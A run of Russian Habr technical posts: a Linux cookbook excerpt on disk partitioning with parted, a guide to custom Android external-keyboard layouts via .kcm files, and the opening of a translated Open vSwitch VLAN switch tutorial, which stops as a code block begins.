Автор желает всем хорошего здоровья и хорошего настроения. Ну и хорошего воздуха разумеется, тоже. | https://habr.com/ru/post/395755/ | null | ru | null |
# Книга «Linux. Книга рецептов. 2-е изд.»
[](https://habr.com/ru/company/piter/blog/658003/) Привет, Хаброжители! Книга рецептов обучит начинающих пользователей и администраторов Linux управлять системой, используя как графические инструменты, так и командную строку. Независимо от того, используете ли вы Linux во встроенных или настольных системах, серверах, облачных или виртуальных средах, фундаментальные приемы одни. Цель книги — помочь вам быстро приступить к работе на простых и наглядных примерах. Карла Шредер приводит рецепты с объяснениями для конкретных ситуаций, а также ссылки для дополнительного изучения.
Карла Шрёдер (Carla Schroder) впервые села за компьютер в середине 1990-х годов. За годы, прошедшие с той поры, она работала системным и сетевым администратором в смешанных сетях Linux/Microsoft/Apple, журналистом и техническим писателем. Карла написала более 1000 руководств по Linux для различных изданий и в настоящее время пишет и поддерживает руководства для компании, производящей программное обеспечение для Linux корпоративного уровня. Она является автором книг Linux Cookbook (O’Reilly), Linux Networking Cookbook (O’Reilly) и The Book of Audacity (No Starch Press).
Управление дисковыми разделами с помощью parted
-----------------------------------------------
Все накопители большой емкости — жесткие диски SATA, твердотельные накопители, USB-накопители, карты SD (Secure Digital), NVMe (Non-Volatile Memory Express) и CompactFlash — должны быть разбиты на разделы и отформатированы, прежде чем их можно будет использовать. Все они поставляются с уже имеющимися разделами и файловыми системами, которые могут не соответствовать вашим целям. Кроме того, с течением времени цели могут меняться, и может потребоваться реорганизовать разделы на диске и/или использовать другие файловые системы. В этой главе вы узнаете, как можно управлять разделами с помощью команды parted (partition editor — редактор разделов).
### Обзор
parted управляет только разделами, а о файловых системах рассказывается в главе 11. В главе 9 будет представлен графический интерфейс для parted, GParted, который поддерживает возможность управления не только разделами, но и файловыми системами.
Вы также узнаете о современной замене главной загрузочной записи (Master Boot Record, MBR) — устаревшей и неадекватной таблице разделов. На смену MBR пришла новая таблица глобальных уникальных идентификаторов разделов (Globally Unique Identifier Partition Table, GPT).
parted показывает информацию о разделах, а также может создавать, удалять и изменять размеры разделов. У parted есть только одна проблема: он немедленно записывает все изменения на диск, поэтому нужно быть очень осторожными при обращении с этой утилитой. Графический интерфейс GParted удобнее в этом отношении — он не применяет изменения, пока вы не нажмете кнопку.
Все запоминающие устройства по привычке называют дисками, хотя многие из них не являются таковыми, как, например, твердотельные накопители. А почему бы и нет? Ведь мы до сих пор говорим: «позвони по телефону» или «сфотографируй», подразумевая использование смартфона.
Возможность деления дискового пространства на разделы позволяет создать одну или несколько логически изолированных областей. На диске должен иметься хотя бы один раздел. Количество разделов зависит только от ваших потребностей и капризов. После создания разделов в каждый из них нужно поместить файловую систему, и только тогда вы сможете использовать диск. На одном диске может быть несколько разделов, и каждый раздел может иметь свою файловую систему.
Имя диска в Linux всегда начинается с /dev (сокращенно от device — «устройство»). Например, /dev/sda — это имя жесткого диска, а /dev/sr0 — привода оптических дисков. Имена разделов образуются из имени диска и номера. Если на диске /dev/sda имеется три раздела, то они будут называться /dev/sda1, /dev/sda2 и /dev/sda3.
### Схемы деления на разделы
Некоторые дистрибутивы Linux предлагают установить все в один раздел. Это вполне работоспособный вариант, однако создание еще нескольких разделов во время установки дает дополнительные преимущества:
— наличие отдельного раздела для /boot упрощает управление мультизагрузочными системами, поскольку загрузочные файлы не зависят от операционных систем, которые вы устанавливаете или удаляете;
— выделение /home в отдельный раздел обеспечивает изоляцию домашних каталогов пользователей от корневой файловой системы и позволяет заменить установленную систему Linux, не касаясь /home. Более того, /home можно даже разместить на отдельном диске;
— каталоги /var и /tmp могут переполняться из-за выхода процессов из-под контроля. Размещение этих каталогов в отдельных разделах предотвращает подобное отрицательное влияние на другие файловые системы;
— размещение файла подкачки в отдельном разделе позволяет организовать перевод компьютера в спящий режим с сохранением состояния на диске.
Дополнительную информацию о выборе схемы деления диска на разделы можно найти в главе 1.
### Таблицы разделов: GPT и MBR
Таблица разделов GUID (GUID Partition Table, GPT), впервые появившаяся в 2010 году, — это современная замена устаревшей главной загрузочной записи (Master Boot Record, MBR), оставшейся в наследство от PC-DOS. Если до сих пор вы использовали только MBR, то вас ждет приятный сюрприз, поскольку GPT — это свидетельство существенного улучшения.
Главная загрузочная запись MBR была придумана для компьютеров IBM еще в прошлом тысячелетии, в начале 1980-х, в захватывающую эпоху десятимегабайтных жестких дисков. MBR занимает первые 512 байт первого сектора диска, предшествующего первому разделу, и содержит загрузчик и таблицу разделов. Загрузчик занимает 446 байт, таблица разделов — 64 байта, а оставшиеся 2 байта хранят сигнатуру.
Шестьдесят четыре байта — это не так много для хранения большого количества чего-либо, поэтому в MBR может храниться информация только о четырех основных разделах. Один первичный раздел может содержать расширенный раздел, который затем можно разделить на логические разделы. Linux поддерживает (теоретически) неограниченное количество логических разделов. Но даже с огромным количеством логических разделов MBR ограничивает максимальный размер диска 2,2 ТиБ, чего в наши дни едва хватает для хранения мемов с котиками. Почему именно это ограничение? Посчитайте сами: MBR ограничена 32-битными адресами и может адресовать 232 блока (блоки и секторы мы обсудим чуть позже), поэтому размер диска с 512-байтными блоками ограничивается 232 × 512 = 2,199023256 × 1012 байтами.
### BIOS и UEFI
GPT — часть спецификации единого расширяемого микропрограммного интерфейса (Unified Extensible Firmware Interface, UEFI). UEFI заменяет базовую систему ввода/вывода компьютера, более известную как BIOS. На рис. 8.1 показан интерфейс старой BIOS, а на рис. 8.2 — современного UEFI с богатым набором функций, что делает его похожим на маленькую операционную систему.

GPT имеет множество преимуществ перед MBR:
— до 128 разделов в Linux с номерами 1–128 без всяких проблем с первичными и расширенными разделами;
— высокую отказоустойчивость: копии таблицы разделов хранятся в нескольких местах;
— уникальные идентификаторы дисков и разделов;
— поддержку устаревшего режима загрузки BIOS/MBR;
— проверку собственной целостности и таблицы разделов;
— безопасную загрузку.
MBR постепенно выходит из употребления, и вам определенно следует использовать GPT. В GPT первый сектор диска зарезервирован для защитной MBR, которая поддерживает GPT на компьютере с BIOS, благодаря чему имеется возможность применять GPT в старых системах с BIOS вместо UEFI. И загрузчик, и операционная система должны поддерживать GPT, и такая поддержка уже давно реализована в Linux. Единственная причина использования MBR — старые компьютеры со старыми операционными системами, которые не поддерживают GPT.
Если у вас есть подобная старая система, то вы не сможете обновить ее до поддержки UEFI — чтобы получить UEFI, вы должны будете заменить материнскую плату, поскольку и UEFI, и BIOS интегрированы в нее.
### Блоки и секторы
Теперь поговорим о блоках и секторах и о том, как они влияют на максимальные размеры дисков, файлов и разделов. Блоки — это наименьшие единицы хранения на диске, которые может использовать файловая система. Деление на блоки — логическое, а не физическое. Самая маленькая физическая единица хранения — это сектор. Блоки могут занимать несколько секторов, а файл — несколько блоков.
При размещении файлов в блоках возникают некоторые потери, поскольку размеры файлов редко бывают кратными размерам блоков. Например, файл размером на один байт больше размеров четырех блоков займет пять блоков. Пятый блок будет хранить единственный байт и принадлежать только этому файлу. Из-за этого можно подумать, что 512-байтные блоки менее расточительны. Но в каждом блоке хранится еще кое-какая информация, помимо данных из файла.
Каждый блок, кроме данных из файла, хранит отметки времени, имя файла, атрибуты владения, разрешения, идентификатор блока и его правильный порядок с другими блоками, индексный узел и другие метаданные.
Блоки размером 4096 байт в восемь раз больше 512-байтных блоков, а метаданных хранят столько же. Чтобы полностью занять жесткий диск емкостью 4 ТиБ, на нем нужно разместить 8 000 000 000 блоков по 512 байт. При размере блока 4096 байт разместить нужно только 1 000 000 000 блоков — получается довольно внушительная экономия на метаданных.
Размер сектора ограничивает размер томов. Долгие годы стандартным считался размер сектора 512 байт, в настоящее время стандартным считается размер 4096 байт, поскольку емкость жестких дисков значительно выросла.
Таблица разделов GPT обеспечивает 64-битную адресацию, позволяя разместить 2^64 блоков на одном диске, то есть размер жесткого диска с 512-байтными блоками может достигать 9 Збайт (9 × 10^21 байт). С 4096-байтными блоками максимальный размер диска составляет 75 Збайт (75 × 10^21 байт), чего, как мне кажется, будет достаточно даже для самого преданного
коллекционера мемов с котиками. Это теоретические максимумы, но есть еще ограничения, накладываемые оборудованием, операционной системой и поддержкой больших томов в файловой системе. Например, файловая система Ext4 не может иметь размер больше 1 ЭиБ (1 × 2^60), а максимальный размер файла с размером блока 4096 байт составляет в ней 16 ТиБ. Файловая система XFS имеет максимальный размер 8 ЭиБ минус 1 байт (8 × 2^60 – 1).
Оптические CD и DVD имеют секторы размером по 2048 байт. Твердотельные устройства, такие как USB-накопители, SD-карты, CompactFlash и твердотельные накопители (SSD), тоже имеют секторы и блоки. Самая маленькая единица хранения на SSD называется страницей. Типичные размеры страниц — 2, 4, 8 Кбайт и больше. Блоки содержат от 128 до 256 страниц и обычно имеют размер от 256 Кбайт до 4 Мбайт.
От всех этих непривычных чисел голова может пойти кругом. В табл. 8.1 перечислены десятичные и двоичные единицы измерения, которые можно использовать для измерения емкости диска.

Десятичные единицы измерения — это степени 10; например, килобайт равен 1000 байт, или 10^3. Двоичные единицы — степени двойки, поэтому кибибайт равен 2^10, или 1024 байт. Производители жестких дисков любят использовать десятичный формат, чтобы емкость их дисков казалась больше.
Тот, кто придумал странную схему именования «бибайт», почти гарантировал, что никто и никогда не захочет произносить эти названия. В любом случае данное разделение вносит путаницу, поскольку многие используют эти именования единиц как взаимозаменяемые. Но, как бы то ни было, теперь вы знаете разницу.
### Размонтирование разделов перед разбиением с помощью parted
#### Задача
Вы знаете, что перед изменением разделов с помощью parted их нужно размонтировать, но не знаете, как это сделать.
#### Решение
Размонтировать раздел можно в диспетчере файлов с графическим интерфейсом или воспользоваться командой umount. Ниже представлен пример размонтирования /dev/sdc2:
```
$ sudo umount /dev/sdc2
```
Но как узнать имя устройства? Загляните в рецепт 8.3, в котором рассказывается, как получить список всех подключенных дисков и разделов.
Если вы собираетесь создать новую таблицу разделов на диске, то должны размонтировать все разделы, имеющиеся на нем.
#### Комментарий
Технически монтируются и размонтируются файловые системы, а не разделы. Но я не против, если вы скажете «разделы».
#### Дополнительная информация
— man 8 parted
— Руководство пользователя Parted User’s Manual (https://oreil.ly/SNyLL).
### Запуск parted в командном режиме
#### Задача
Вы знаете, что команда parted поддерживает интерактивный режим, в котором можно работать как с командной оболочкой, и пакетный режим, когда parted выполняется как обычная команда. Теперь вы хотите узнать, как использовать оба режима.
#### Решение
Если ввести команду parted без параметров, то она запустит интерактивную оболочку parted. Для этого нужны привилегии root:
```
$ sudo parted
GNU Parted 3.2
Using /dev/sda
Welcome to GNU Parted! Type 'help' to view a list of commands.
(parted)
```
Когда привычное приглашение к вводу сменится на (parted), это будет означать, что вы находитесь в интерактивной оболочке parted. Введите help, чтобы получить список команд и их описания. Кроме того, можно получить справку для отдельных команд parted, например help print. Введите quit, чтобы выйти из parted. Большинство команд parted можно сократить до первой буквы, например h и q.
Чтобы запустить parted как обычную команду, нужно передать ей все необходимые параметры, как в следующем примере, который выводит список всех подключенных дисков:
```
$ sudo parted /dev/sdb print devices
/dev/sdb (2000GB)
/dev/sda (4001GB)
/dev/sdc (4010MB)
/dev/sdd (15.7GB)
/dev/sr0 (425MB)
```
Команда запустится, выполнит затребованное действие и вернется в обычную командную оболочку.
#### Комментарий
Будьте осторожны, задействуя любой режим, поскольку parted применяет изменения немедленно. Всегда создавайте резервные копии, прежде чем приступать к использованию parted.
#### Дополнительная информация
— man 8 parted
— Руководство пользователя Parted User’s Manual (https://oreil.ly/SNyLL).
Более подробно с книгой можно ознакомиться на [сайте издательства](https://www.piter.com/collection/new/product/linux-kniga-retseptov-2-e-izd?_gs_cttl=120&gs_direct_link=1&gsaid=42817&gsmid=29789&gstid=c)
» [Оглавление](https://www.piter.com/collection/new/product/linux-kniga-retseptov-2-e-izd#Oglavlenie-1)
» [Отрывок](https://www.piter.com/collection/new/product/linux-kniga-retseptov-2-e-izd#Otryvok-1)
По факту оплаты бумажной версии книги на e-mail высылается электронная книга.
Для Хаброжителей скидка 30% по купону — **Linux** | https://habr.com/ru/post/658003/ | null | ru | null |
# Кастомизируем раскладку внешней клавиатуры на Android без root
Мне нравится раскладка клавиатур на Mac: Cmd(Ctrl) под большим пальцем и возможность, без шаманства, прямо в настройках изменить поведение CapsLock. Такого же результата легко добиться в Linux с помощью `setxkbmap` в консоли или, например, `gnome-tweak-tool` в UI. Но что делать, если клавиатура подключается к Android?

В Android существует несколько способов кастомизировать внешнюю клавиатуру:
1. Установка сторонней клавиатуры. Например, [External Keyboard Helper](https://play.google.com/store/apps/details?id=com.apedroid.hwkeyboardhelperdemo).
2. Правка/добавление [kl](https://source.android.com/devices/input/key-layout-files) или [kcm](https://source.android.com/devices/input/key-character-map-files) файлов (требуется root). Как, например, в [этом](https://habr.com/ru/post/140384/) посте.
3. Установка приложения, которое добавляет [дополнительные клавиатурные раскладки](https://developer.android.com/reference/android/hardware/input/InputManager#ACTION_QUERY_KEYBOARD_LAYOUTS).
Устанавливать стороннюю клавиатуру не хочется. Рутовать телефон — тоже. Остаётся третий вариант.
Теория
======
Вкратце пробежимся по основным понятиям со ссылками на документацию.
Key Layout файлы
----------------
[Key layout](https://source.android.com/devices/input/key-layout-files) (.kl) файлы отображают линуксовые коды клавиш (Linux Key Code), т.е. код, который производит конкретная клавиша на клавиатуре, на андродовские клавиши (Android Key), т.е. TAB, ENTER или просто буква F. Отображение по-умолчанию можно посмотреть [здесь](https://android.googlesource.com/platform/frameworks/base/+/master/data/keyboards/Generic.kl). Узнать, какая клавиша на клавиатуре какой код производит, можно, например, с помощью [Gamepad Tester](https://play.google.com/store/apps/details?id=ru.elron.gamepadtester).
Key Character Map файлы
-----------------------
[Key Character Map](https://source.android.com/devices/input/key-character-map-files) (.kcm) файлы позволяют задать поведение для сочетания клавиш, а также нужны для добавления раскладок, отличных от English(US).
Дополнительные клавиатурные раскладки
-------------------------------------
Начиная с версии [4.1](https://developer.android.com/about/versions/jelly-bean.html#android-4.1) в Android стало возможным устанавливать вместе с приложением дополнительные раскладки клавиатуры. После установки раскладки доступны в `Settings -> Language & input -> Physical keyboard`. Минус этого подхода в том, что раскладки неизменяемы, и нет возможности кастомизировать их "на лету".
Практика
========
Вот что я хочу получить для моей клавиатуры:
* Esc вместо CapsLock.
* Поменять Ctrl/Win/Alt на Win/Alt/Ctrl слева и Alt/PrintScreen/Ctrl на Ctrl/Alt/Ctrl справа.
* Поменять переключение приложений с Alt+Tab на Ctrl+Tab.
* Скриншот на Ctrl+Shift+3.
* Переключение языков по Win+Space.
* Поддержка английской и русской раскладок.
Описание проекта
----------------
Т.к. мои вкусы весьма специфичны (Ты же хочешь Ctrl вместо CapsLock, мой дорогой любитель Vim?), а раскладки неизменяемы "на лету", я не предоставляю готовый apk-файл. Вместо этого создан [custom-keyboard-layout](https://github.com/ris58h/custom-keyboard-layout) — проект основа для кастомизации раскладки внешней клавиатуры на Android.
Клонируем проект к себе
```
git clone git@github.com:ris58h/custom-keyboard-layout.git
```
Манифест приложения `app/src/main/AndroidManifest.xml`:
```
```
Приложение состоит из одного `reciever`. Забавно, что само наличие класса с заданным именем (в нашем случае `InputDeviceReceiver`) не требуется — всё работает и без него, но имя мы задать обязаны. Этот `reciever` предоставляет список клавиатурных раскладок, хранящийся в `app/src/main/res/xml/keyboard_layouts.xml`:
```
xml version="1.0" encoding="utf-8"?
```
В списке только одна раскладка — `keyboard_layout_en_us`.
Кастомизация файла раскладки
----------------------------
Файл раскладки `app/src/main/res/raw/keyboard_layout_en_us.kcm` состоит из одной строки, задающей тип раскладки:
```
type OVERLAY
```
Про этот тип ничего не сказано в [документации](https://source.android.com/devices/input/key-character-map-files), но опытным путём выяснено, что раскладка с таким типом по-умолчанию берёт значения из [Generic.kcm](https://android.googlesource.com/platform/frameworks/base/+/master/data/keyboards/Generic.kcm). Т.е. мы уже получили английскую раскладку и всё что остаётся — это добавить наши правила.
Но сперва небольшое отступление про Key Layout файлы. Раскладки задаётся как kcm-файл, но для того чтобы поменять местами, например, Ctrl и Alt необходим kl-файл. Тут на помощь приходит ещё одна незадокументированная фича: с помощью команды `map` можно добавлять правила из kl-файла в kcm-файл.
Файл `keyboard_layout_en_us.kcm` с моими правилами:
```
type OVERLAY
map key 58 ESCAPE
map key 29 META_LEFT
map key 56 CTRL_LEFT
map key 125 ALT_LEFT
map key 99 ALT_RIGHT
map key 100 CTRL_RIGHT
key TAB {
label: '\t'
base: '\t'
ctrl: fallback APP_SWITCH
}
key 3 {
label: '3'
base: '3'
shift: '#'
ctrl+shift: fallback SYSRQ
}
```
К сожалению, у меня не получилось задать переключение языков по Win+Space — такое правило просто не срабатывало.
Добавляем раскладку с другим языком
-----------------------------------
Для добавления раскладки другого языка, отличного от English(US), нужно сперва составить kcm-файл с раскладкой этого языка, затем добавить к нему наши правила. Взять готовый файл для своего языка можно [отсюда](https://android.googlesource.com/platform/frameworks/base/+/master/packages/InputDevices/res/raw). Берём [keyboard\_layout\_russian.kcm](https://android.googlesource.com/platform/frameworks/base/+/master/packages/InputDevices/res/raw/keyboard_layout_russian.kcm), кладём в `app/src/main/res/raw/` и, соответственно, добавляем ещё одну раскладку в `app/src/main/res/xml/keyboard_layouts.xml`:
```
xml version="1.0" encoding="utf-8"?
```
Не забываем добавить `keyboard_layout_ru_label` в `app/src/main/res/values/strings.xml`.
Теперь можно добавить наши правила, как в примере с английской раскладкой, но с небольшим изменением. В русской раскладке уже есть правило для '3', поэтому нужно лишь изменить его, а не добавлять новое:
```
key 3 {
label: '3'
base: '3'
shift: '\u2116'
ralt: '#'
ctrl+shift: fallback SYSRQ
}
```
Состояние проекта после этой кастомизации можно посмотреть в ветке [Vendor\_17ef\_Product\_6048](https://github.com/ris58h/custom-keyboard-layout/tree/Vendor_17ef_Product_6048).
Установка
---------
Собираем и устанавливаем наше приложение. Проще всего это сделать с помощью [Android Studio](https://developer.android.com/studio) следуя [официальной документации](https://developer.android.com/studio/run/device).
Если всё сделано правильно, то в `Settings -> Language & input -> Physical keyboard` появятся наши раскладки, а в списке приложений — `Custom Keyboard Layout`.
Заключение
==========
Кастомизация внешней клавиатуры без root возможна. Не все хотелки при этом достижимы: переключение языков по Win+Space так и не заработало, но это может быть проблемой прошивки.
Статья нарочно сделана краткой — все подробности можно найти по ссылкам. | https://habr.com/ru/post/502274/ | null | ru | null |
# О настройке Open vSwitch непростым языком
 ***От переводчика**
SDN — программно определяемые сети — прочно вошли в нашу жизнь, однако материалов о низкоуровневой их работе на русском языке не так уж много. Предлагаю вашему вниманию перевод обучающей [статьи](http://docs.openvswitch.org/en/latest/tutorials/ovs-advanced/), в которой показан пример создания автономного виртуального коммутатора с поддержкой VLAN. Такой коммутатор в своем базовом функционале может работать и без контроллера сети. Предполагается. что читатель знаком с основами и терминологией построения сетей в целом, а также имеет общее представление о программно-определяемых сетях.
**Используемые термины:**
OpenFlow — протокол управления передачей данных в сети. Описывает процесс взаимодействия контроллера и коммутатора, а также формат загружаемых в коммутатор правил.
Open vSwitch — программная реализация коммутатора, совместимого с протоколом OpenFlow. Используется для управления трафиком в системах виртуализации, например, OpenStack и oVirt (экспериментально).
802.1Q (VLAN) — механизм разграничения трафика как в пределах одного коммутатора, так и в локальной сети. Основан на внедрении в пакет данных тега (номера) VLAN
802.1p (QoS) — механизм управления приоритезацией трафика. Часть стандарта 802.1Q
Порт агрегации (trunk port) — порт коммутатора, соединенный с вышестоящим коммутатором. Порт агрегации разрешает отправку пакетов с любым номером VLAN
Порт доступа (access port) — порт коммутатора, разрешающий работу с пакетами только определенных VLAN.*
Введение
--------
В Сети есть много руководств по основам OpenFlow, но эта статья о другом. Тем не менее, для понимания данной статьи базовые знания об OpenFlow обязательны. Если вы не до конца понимаете, как работают правила OpenFlow, [изучите](https://habrahabr.ru/post/149126/) [пожалуйста](http://book.itep.ru/4/41/openflow.htm) [основы](https://habrahabr.ru/post/242741/), а затем возвращайтесь к этой статье.
Также вам потребуются знания основ Open vSwitch. Если вы никогда не использовали утилиты управления [ovs-vsctl](http://openvswitch.org/support/dist-docs/ovs-vsctl.8.txt) или [ovs-ofctl](http://openvswitch.org/support/dist-docs/ovs-ofctl.8.txt), вам следует немного почитать про них перед тем, как мы продолжим.
Большая часть возможностей, описанных в этом руководстве, относятся к расширенной версии протокола OpenFlow, реализованной в Open vSwitch.Если вы используйте аппаратную реализацию в виде коммутатора на базе ASIC-чипа, это руководство вряд ли вам поможет.
Мы не будем подробно рассматривать [всю подноготную технологий](https://habrahabr.ru/company/webzilla/blog/124310/), о которых пойдет речь. За подробностями вы можете обратиться к документации Open vSwitch, в особенности – к файлам справки [ovs-vsctl](http://openvswitch.org/support/dist-docs/ovs-vsctl.8.txt) , а также к комментариям в файлах [include/openflow/nicira-ext.h](https://github.com/osrg/openvswitch/blob/master/include/openflow/nicira-ext.h) и [include/openvswitch/meta-flow.h](https://github.com/openvswitch/ovs/blob/master/include/openvswitch/meta-flow.h).
Приступая к работе
------------------
Будем считать, что в вашей системе уже установлены исполняемые файлы Open vSwitch. Какое-либо специализированное аппаратное обеспечение, кроме собственно компьютера, вам не потребуется. Вместо этого мы будем использовать скрипт ovs-sandbox, который можно найти [здесь](https://github.com/openvswitch/ovs/tree/master/tutorial). Данный скрипт нужен для создания программно-определяемой сетевой среды на базе Open vSwitch.
Вы можете использовать ovs-sandbox тремя способами:
* Если вы уже установили Open vSwitch на вашу систему, вы можете просто запустить скрипт ovs-sandbox, без указания каких-либо параметров.
* Если Open vSwitch у вас не установлен (и вы не хотите устанавливать его), то можете собрать Open vSwitch без установки в соответствии с инструкциями для [Linux, FreeBSD и NetSBD](http://docs.openvswitch.org/en/latest/intro/install/general). Затем запустите ovs-sandbox и укажите ему каталог с Open vSwitch `./ovs-sandbox -b <каталог>`
* Как вариант, вы можете запустить команду make sandbox из каталога, в котором собран Open vSwitch
Скрипт делает следующее:
1. ВНИМАНИЕ: удаляет все подкаталоги из подкаталога с именем sandbox текущего каталога и все файлы в этом подкаталоге
2. Создает новый каталог «sandbox» в текущем каталоге.
3. Устанавливает переменные среды, чтобы утилиты Open vSwitch использовали в качестве текущего каталога “sandbox”, а не каталог установки Open vSwitch
4. Если вы собирали Open vSwitch, но не устанавливали его, копирует файлы справки в подкаталог «sandbox» и записывает имя этого подкаталога в переменную среды MANPATH. Это означает, что когда вы будете использовать, например, команду man ovs-vsctl, вы увидите справку именно для той версии Open vSwitch, которую вы собирали.
5. Создает пустую базу данных конфигурации Open vSwitch в каталоге “sandbox”
6. Запускает ovsdb-server в каталоге “sandbox”
7. Запускает ovs-vswitchd в каталоге “sandbox” и передает ему параметры для специального тестового режима работы.
8. Запускает сеанс интерактивной оболочки из каталога “sandbox”
Начиная с этого момента, вы можете запускать все привычные команды Open vSwitch из сеанса оболочки. Например, вы можете запустить ovs-vsctl и создать виртуальный коммутатор:
```
$ ovs-vsctl add-br br0
```
С точки зрения Open vSwitch, созданный вами коммутатор так же реален, как и любой другой. Например, вы можете подключить его к OpenFlow-контроллеру или использовать ovs-ofctl для проверки и изменения правил управления трафиком. С другой стороны, коммутатор не отображается в сетевой конфигурации хоста, так что утилиты ifconfig и ip не могут работать с ним. Кроме того, не будут работать и утилиты ping и tcpdump. Но у этого есть и хорошая сторона — вы не сможете сбить сетевые настройки хоста, изменяя настройки коммутатора в “песочнице”.
Когда вам потребуется завершить работу с Open vSwitch, просто наберите в оболочке команду “exit” или нажмите Ctrl+D. Это завершит процессы, запущенные скриптом ovs-sandbox, но оставит на месте сам каталог “sandbox” со всем его содержимым.
Каталог “sandbox” содержит файлы журналов для всех служб Open vSwitch, так что вы можете просмотреть их и после того, как завершили работу с Open vSwitch.
Использование отладчика GDB
---------------------------
Этот обучающий материал не требует применения отладчика GDB в обязательном порядке, тем не менее вы можете использовать GDB, чтобы разобраться во внутреннем устройстве утилит Open vSwitch.
GDB можно применять для отладки любого уже запущенного процесса при помощи команды gdb .
Скрипт ovs-sandbox имеет параметр -g для запуска ovs-vswitchd под GDB. Параметр можно использовать в случае, если требуется поставить точки останова перед выполнением ovs-vswitchd или чтобы отладить сбой на раннем этапе запуска службы. Кроме того, существует параметр -d, который запускает под GDB службу ovsdb-server. Оба параметра можно использовать одновременно.
Имеется также параметр -e, который тоже запускает под GDB службу ovs-vswitchd, но не отображает приглашение gdb> и не ждет ввода команд, а сразу приступает к исполнению службы. Параметр -r заставляет службу ovsdb-server запускаться под GDB сразу же, подобно ovs-vswitchd.
Чтобы избежать некорректного поведения терминала при запуске GDB, скрипт ovs-sandbox открывает новый сеанс xterm для каждой сессии GDB. Для систем без графического сервера X Windows поддержка GDB отключена.
При запуске тестовой среды из make-файла скрипту можно передать параметр -g через переменную среды SANDBOXFLAGS. Таким образом, команда make sandbox SANDBOXFLAGS=-g запустит тестовую среду со службой ovs-vswitchd под отладчиком GDB в отдельном X-терминале.
Постановка задачи
-----------------
Основная цель этого руководства — демонстрация обширных возможностей Open vSwitch по управлению трафиком. В ходе работы мы построим коммутатор, способный запоминать MAC-адреса и имеющий разделенные VLAN’ами порты доступа и агрегации. Если не рассматривать функции Open vSwitch, о которых мы поговорми чуть ниже, OpenFlow предлагает как минимум два пути для реализации такого коммутатора.
* Использование контроллера OpenFlow для запоминания MAC-адресов в режиме постобработки трафика. Каждое новое соединение сначала анализируется контроллером, который формирует для него разрешающие правила. Всякий раз, когда новый MAC-адрес появляется на порту или “переезжает” из одного порта в другой, контроллер должен изменить соответствующую таблицу правил коммутатора.
* “Обычное” (NORMAL) поведение. OpenFlow определяет такое поведение, как “работу обычного коммутатора без OpenFlow”. Если правило предусматривает такое поведение, то пакет проходит через коммутатор так, как будто на коммутаторе не настроен OpenFlow.
К сожалению, оба подхода не лишены недостатков. В первом случае использование контроллера приводит к существенному уменьшению полосы пропускания и увеличению задержек. Кроме того, контроллер плохо масштабируется для обслуживания большого количества коммутаторов, что особенно важно в среде с тысячами гипервизоров, на каждом из которых работает собственный OpenFlow-коммутатор. Естественно, запоминание MAC-адресов с использованием контроллера не будет работать, если контроллер вышел из строя, медленно обрабатывает запросы или недоступен вследствие сетевых проблем.
Во втором случае (NORMAL) мы имеем дело с проблемами иного рода. Во-первых, лишь небольшая часть ”обычного” поведения стандартизирована и по-разному работает на оборудовании различных производителей. Доступные функции и способы их конфигурирования (как правило, не через OpenFlow) у разных производителей тоже отличаются. Во-вторых, режим NORMAL не очень хорошо работает совместно с другими правилами OpenFlow. NORMAL реализует концепцию “все или ничего” и имеет весьма узкий потенциал для настройки своего поведения или взаимодействия с другими функциями.
Сценарий тестирования
---------------------
Мы построим OpenFlow-коммутатор и настроим его таблицы для запоминания MAC-адресов и работы с VLAN-ами. Коммутатор будет иметь 4 порта:
* p1 — порт агрегации для всех VLAN на порте 1 коммутатора
* p2 — порт доступа для нетегированного VLAN 20 на порте 2 коммутатора
* p3,p4 — порты доступа для нетегированного VLAN 30 на портах 2 и 3 коммутатора, соответственно
> Имена портов не имеют значения, вы можете назвать их eth1-eth4 или другим образом по вашему желанию.
>
> Коммутатор OpenFlow также имеет один порт, видимый на хосте как локальный интерфейс. Наш сценарий не предусматривает его использование.
>
>
Наш коммутатор будет включать 5 таблиц с правилами, каждая из которых реализует свою часть конвейера по обработке трафика.
* Таблица 0: Входной контроль
* Таблица 1: Обработка VLAN на входе
* Таблица 2: Запоминание MAC и VLAN для входного порта
* Таблица 3: Поиск порта для выходного MAC и VLAN
* Таблица 4: Обработка пакета на выходе
Ниже будет показано, как создать такой коммутатор таблица за таблицей.
Вы можете копировать команды ovs-vsctl и ovs-ofctl с параметрами из примеров ниже и вставлять их в командную оболочку, созданную ovs-sandbox. Команда ovs-appctl с параметрами предназначена для тестов и ее не следует использовать отдельно от остальных примеров.
Установка
---------
Запустим ovs-sandbox и в открывшейся интерактивной оболочке введем следующую команду:
```
$ ovs-vsctl add-br br0 -- set Bridge br0 fail-mode=secure
```
Эта команда создает новый виртуальный коммутатор br0 и переводит его в так называемый режим fail-secure. Для нас пока это будет значить только то, что коммутатор запустится с пустыми таблицами.
> Если мы не сделаем этого, коммутатор запустится с единственным правилом, которое отрабатывает поведение NORMAL. Мы можем использовать эту возможность для построения такого же коммутатора, как и наш, но с ограничениями, описанными выше в разделе “Постановка задачи”
>
>
Новый коммутатор пока имеет только один порт — локальный br0. Нам нужно добавить порты p1, p2, p3 и p4. Команда for оболочки — один из способов сделать это:
```
$ for i in 1 2 3 4; do
ovs-vsctl add-port br0 p$i -- set Interface p$i ofport_request=$i
ovs-ofctl mod-port br0 p$i up
done
```
Команды не просто добавляют порты, но и устанавливают атрибут ofport\_request, чтобы порт p1 соответствовал порту 1 OpenFlow, порт 2 — порту 2 OpenFlow и так далее.
Мы можем пропустить установку атрибута ofport\_request и позволить OpenFlow самому выбирать порты, но в целях обучения мы присвоим номера портов самостоятельно, чтобы говорить, например, о порте 1 OpenFlow и знать, что он ссылается на порт p1.
Команда ovs-ofctl, используя запрос к OpenFlow, запускает интерфейсы, которые при создании выключены. К такому же эффекту приводит запуска команды ifconfig up, но интерфейсы тестовой среды не отображаются в хостовой ОС и ifconfig не может ими управлять.
Мы пока еще не настраивали VLAN’ы и запоминание MAC-адресов, поскольку планируем сделать это ниже при помощи таблиц управления трафиком.
Чтобы посмотреть результат нашей работы, можно воспользоваться командами ovs-vsctl show или ovs-ofctl show br0.
Создаем таблицу 0: Входной контроль
-----------------------------------
В таблицу 0 попадают пакеты, которые только пришли на коммутатор. Мы будем использовать ее для отбраковки пакетов по тем или иным причинам. Например, пакет с широковещательным адресом отправителя — неправильный, так что мы можем отбросить его на входе в коммутатор.
```
$ ovs-ofctl add-flow br0 "table=0, dl_src=01:00:00:00:00:00/01:00:00:00:00:00, actions=drop"
```
Коммутатор также не должен пересылать дальше пакеты протокола IEEE 802.1D Spanning Tree Protocol (STP), так что мы добавим правило для отбрасывания таких пакетов и пакетов других зарезервированных многоадресных протоколов:
```
